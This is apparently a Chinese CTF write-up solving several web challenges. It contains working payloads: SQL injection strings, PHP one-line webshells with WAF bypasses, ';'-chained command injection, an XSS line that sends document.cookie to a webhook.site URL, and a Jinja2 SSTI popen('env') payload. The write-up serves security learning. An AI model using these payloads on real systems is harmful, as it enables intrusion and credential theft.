← 返回首页

Re_ 0 to Hacker Web 方向题解

10 min 阅读 CTF Web 题解

Re: 0 to Hacker Web 方向题解

漏洞百出

image.png

解法1:

dirsearch扫目录发现存在如下资源 (审计源代码也可知)

image.png

直接访问/flag/flag.php,仔细观察发现页面的响应头中存在flag

image.png

提交flag{f249e8bf-2d8b-497b-a3b0-dd1aec72f95b}

其它漏洞:

phpinfo暴露

扫目录可知存在info.phpphpinfo一般会暴露环境变量,但此处并未暴露,应该是有意隐藏

弱口令登录

尝试弱口令爆破可知

image.png

image.png

存在弱口令guest | guestadmin | 1145141919810两个弱口令可以登录guest和admin账号

SQL注入

使用万能密码(SQL注入口令)' OR '1' = '1' --也可登录admin和guest两个账号

网页源代码泄露

方法1

扫目录可知存在robots.txt,访问即可看见存在1000.zip,下载

方法2

千芬小游戏

image.png

点击1000下,或者抓包改包为1000,在返回的请求包中可以看见存在1000.zip

image.png

CSRF + XSS

image.png

可见访问/change_password.php?password=xxxx即可更改密码,在向管理员提建议中,输入一个存储型XSS的payload,即可用账密admin | 1234直接登录admin账号

image.png

image.png

Cookie伪造

网页有两种Cookie

image.png

role

base64解码可知内容为notadmin,改为admin的base64编码

image.png

image.png

刷新一下发现变成管理员页面

image.png

JWT

此处由token格式可知token为JWT,尝试爆破或猜测可得弱密钥 1234,再把username改成admin,即可构造出admin用户的JWTtoken

image.png

image.png

SSRF

可以通过从URL导入头像的方式输入网址,探测服务器端的资源内容

image.png

文件上传

由于发送头像时完全没有任何检验,所以可以发送任意文件

Phpinfo(解法2)

因为phpinfo暴露时未暴露环境变量

发送一个这样的文件(显示phpinfo界面)

image.png

image.png

然后访问,即可在环境变量中找到flag

image.png

提交flag{f249e8bf-2d8b-497b-a3b0-dd1aec72f95b}

Shell(解法3)

发送一个一句话木马

image.png

image.png

然后访问并以GET方法发送payload

image.png

最终在环境变量中找到flag,payload可以用env,也可以cat /proc/self/environ

image.png

image.png

更多解法待补充……

节点协议

image.png

发现输入网址下方会回传Linux命令ping <url>的结果,此时可以使用;来中止当前命令,后跟下一条命令,例如;ls /

image.png

发现异常文件NOTICE.txtchallenge以及flagcat /flag发现flag文件是一个ELF可执行文件

image.png

使用/flag运行显示Permission denied,即权限不足

image.png

使用ls -l ``/,发现并没有可执行权限(x),使用chmod命令增加可执行权限,并再次运行,发现很多 FAIL 需要修复

image.png

image.png

随即查看NOTICE.txt

image.png

======================================================================
  KZ-08 山区应急通信中继站 / 节点复原工单
  工单编号:ZFQ-KZ08-325
  优先级:P0 / 应急链路中断
======================================================================

值班恢复员:

昨夜雷暴导致 KZ-08 中继站异常重启。文件系统本身仍可读写,但自动投递服务的
目录索引和权限状态已经损坏。该节点负责把山区监测站的应急数据转送到主控
中心;下一批数据到达前,必须恢复投递链路。

图形化运维后台已经离线,目前只剩网络连通性诊断接口仍能调用底层系统。
诊断中心附有一份操作手册入口,可在需要时查阅。

[工单一:清理失效队列]

垃圾缓存区域 /challenge/garbage 中残留了名为 obsolete.cache 的失效缓存
文件,需要彻底清除。

同一区域还保留了一个已经排空的旧队列目录:

    /challenge/garbage/retired-queue

确认它为空后,将这个旧目录一并移除,为新的投递任务释放队列槽位。

[工单二:找回待投递数据包]

真正的运输包 courier.pkg 因索引损坏遗失在 /challenge/maze 的多层归档
目录中。该区域存在多个名称相似的备份和旧包,请确认文件名完全匹配。

找到后,将它转移到新的投递位置:

    /challenge/dropzone/courier.pkg

为避免反复运输,/challenge/maze 中不应当保留 courier.pkg 。

[工单三:保存故障证据]

/challenge/evidence 中保存了多个节点的访问日志。与本次中断直接相关的日志
包含事件标识:

    Re: 0 to Hacker

定位包含该标识的日志,并在投递区域创建一个证据副本,副本必须命名为:

    /challenge/dropzone/evidence.txt

原始日志是事故调查的依据,须继续保留在原处。

[工单四:恢复最终验证]

完成全部文件处理后,运行:

    /flag

进行节点验证交付

—— KZ-08 中继站自动恢复总线

根据要求依次运行如下代码即可

# 工单一
rm /challenge/garbage/obsolete.cache
rmdir /challenge/garbage/retired-queue
# 可以用 ls /challenge/garbage 来校验完成情况

# 工单二
find /challenge/maze -name courier.pkg
mv <上一条命令的结果> /challenge/dropzone/courier.pkg
# 或者也可以
# find /challenge/maze -name courier.pkg -exec mv {} /challenge/dropzone/courier.pkg \;

# 工单三
grep -r "Re: 0 to Hacker" /challenge/evidence
cp <上一条命令的结果> /challenge/dropzone/evidence.txt
# 或者也可以
# cp "$(grep -rl "Re: 0 to Hacker" /challenge/evidence)" /challenge/dropzone/evidence.txt

# 工单四
/flag

image.png

WALF

本题至少需要了解什么是一句话木马

image.png

查看功能,发现存在图片上传和公告预览等功能,图片上传会有WAF进行检查,检查内容已经明确给出

image.png

公告预览功能,根据URL所传的GET参数,可以预览指定的文件

image.png

写一个如下的文件上传,但是被WAF拦截

image.png

image.png

多次尝试后可知WAF拦截如下的字面量

<?php
assert
eval
shell_exec
system
exec
passthru
proc_open
popen
pcntl_exec
call_user_func_array
call_user_func
create_function
include_once
include
require_once
require
cmd
payload

想办法绕过WAF写入php内容,首先<?php被WAF了,可以用短标签<?替代;执行命令的函数此处提供两种方法绕过:

  1. 反引号执行

PHP版本\<8.5时,默认开启command执行命令,此时就可以使用echocommand``执行命令并回显

GIF89A 
<? $c=$_GET['c']; echo `$c`; ?>
  1. 字符串拼接

因为只WAF了字面量,所以只需要将两个字符串字面量用 . 运算符拼接组合成需要的字符串即可绕过

GIF89A 
<? $p="sys"."tem"; $p($_GET['c']); ?>

写入成功后直接访问,发现会按照图片解析,并不按照PHP解析

image.png

image.png

此时想到存在一个文件预览界面,它可以预览其它php中的内容,并且易知,当 PHP 引擎include 一个文件时,如果文件内部存在PHP标签,那么它就会执行标签内的代码,我们访问

image.png

看到报错,说明正在尝试运行我们的PHP代码,我们传入GET参数c=ls /即可看见文件/fla4_cumt

image.png

然后执行命令cat /f1a4_cumt

image.png

即可获得 flag : flag{c8ae600b-4cdc-4b5c-bcc9-773ca355c3b7}

Fields Medal

image.png

存在随机选取和搜索两个方式进行搜索

app.js中可以看到用于查询的语句

image.png

于是根据这个语句进行SQL注入" OR "1" = "1" --,结果被拦截

image.png

多次尝试后发现注释符被WAF,那么不用注释符号,直接让"拼接,即" OR "1" = "1,搜索成功

image.png

随即在Title,Category,Description,img四列中寻找flag

" OR Title LIKE '%flag%' OR Category LIKE '%flag%' OR Description LIKE '%flag%' OR Img LIKE '%flag%' AND "1"="1

搜索失败,说明flag并不在这些列中

随后探测后端数据库类型,一般来说以下搜索哪个没报错就是哪一种数据库

" UNION SELECT version(),1,2,3 WHERE "1"="1                -- MySQL
" UNION SELECT sqlite_version(),1,2,3 WHERE "1"="1         -- SQLite
" UNION SELECT @@VERSION,1,2,3 WHERE "1"="1                -- MSSQL

可以发现后端是MySQL,查询当前所在数据库,然后做如下查询

/* 获取当前表中列名 */
" UNION SELECT GROUP_CONCAT(column_name),1,2,3 FROM information_schema.columns WHERE table_name='yuri' AND "1"="1
/* 获取当前数据库名 */
" UNION SELECT database(),1,2,3 WHERE "1"="1
/* 获取当前数据库中表名 */
" UNION SELECT GROUP_CONCAT(table_name),1,2,3 FROM information_schema.tables WHERE table_schema='YuriWork' AND "1"="1
/* 获取其它数据库名 */
" UNION SELECT GROUP_CONCAT(schema_name),1,2,3 FROM information_schema.schemata WHERE schema_name != database() AND "1"="1

此时就可看出来flag并不在当前数据库中,而是在数据库F1ag中

image.png

那么,继续做如下查询

/* 查询F1ag数据库中有哪些表 */
" UNION SELECT GROUP_CONCAT(table_name),1,2,3 FROM information_schema.tables WHERE table_schema='F1ag' AND "1"="1
/* 查询fl4g表中有哪些列 */
" UNION SELECT GROUP_CONCAT(column_name),1,2,3 FROM information_schema.columns WHERE table_name='fl3g' AND "1"="1
/* 查询flag列中的内容 */
" UNION SELECT GROUP_CONCAT(flag),1,2,3 FROM F1ag.fl3g WHERE "1"="1

image.png

清除中间多余的,},可知flag{WHa7_are_SOME_EXCel13N7_YUrI_14NWORKs_6f30ea22701e}

𝙋𝙍𝙏𝙎

过剧情,进入登录页面

image.png

登录后可见一个更改密码界面,并且修改密码时传入GET参数password和confirmpassword即可修改密码

image.png

然后访问聊天界面,构造payload,由于innerHTML插入的<script>标签不会被浏览器解析,所以可以使用<img><iframe>构造payload

image.png

<img src="http://127.0.0.1:8080/change-password?password=1234&confirmpassword=1234">

然后用改完的密码登录PRTS用户PRTS | 1234

image.png

发现另一个PRIESTESS用户,尝试相同的方法更改她的密码,发现password被过滤了

image.png

所以改不了密码,尝试直接获取PRIESTESS用户的Cookie,使用webhook获取PRIESTESS的Cookie

image.png

<img src=x onerror=fetch("http://webhook.site/1aac67db-382c-4952-983c-901b8d1926b5?cookie="+document.cookie)>

image.png

将页面的Cookie换成PRIESTESS的Cookie,然后刷新,成功进入PRIESTESS用户的页面

image.png

image.png

复制这一串指令,然后重新登录ELCARO账号,添加自修改指令,然后获取flag

image.png

获取flag:flag{arkNlGH75_3ea440ceb31d}

竹知了

首先我们注意到题目提示说摇上114514下有神秘提示

按下F12,进入调试界面,发现摇动时会有次数上报。

image.png

并且是以Delta差值的方式上报,前端未加混淆,我们可以找到发出这个这个请求的代码。

image.png

点击这里以快速定位。

image.png

我们可以选择伪造数据包,也可以直接执行这个函数。

image.png

在控制台执行该函数,发现hint出现了。

image.png

我们访问 /hint.zip,下载。发现是一个完整的后端程序,这道题的后半段为白盒。

image.png

发现存在 /admin 后台,但是需要 JWT role 为 admin,但是默认的是 user。

image.png

image.png

发现JWT密钥为开始时间戳,这样我们可以伪造身份。

以下是相关原理介绍:

image.png

注意到 report 接口存在提示,会告诉你当前请求下,服务器已经运行了多久了:

image.png

只要随便找一个请求,把时间减去 server_uptime,即可算出启动时间。

image.png

image.png

可以让豆包算,他会调用工具,算的比较准(不像DeepSeek一样乱猜)

image.png

我们可以用这个网站来验证 https://www\.jwt\.io/

image.png

image.png

验证通过,说明是正确的密钥。接下来我们把它篡改成 admin,然后签名,这样服务器就信了。

image.png

替换相应 cookie 后访问 /admin,即可进入后台。

image.png

发现摇动文案配置包含 render_template_string,未经任何过滤,没有沙盒,这是典型的 SSTI 漏洞。

image.png

有一个快速验证有没有模板渲染的方法,就是输入 {{7*7}},让服务端渲染,如果结果49说明或许能利用。

image.png

具体 SSTI 利用方法可上网学习,此处直接给到 payload,获取环境变量。

{{config.__class__.__init__.__globals__['os'].popen('env').read()}}

image.png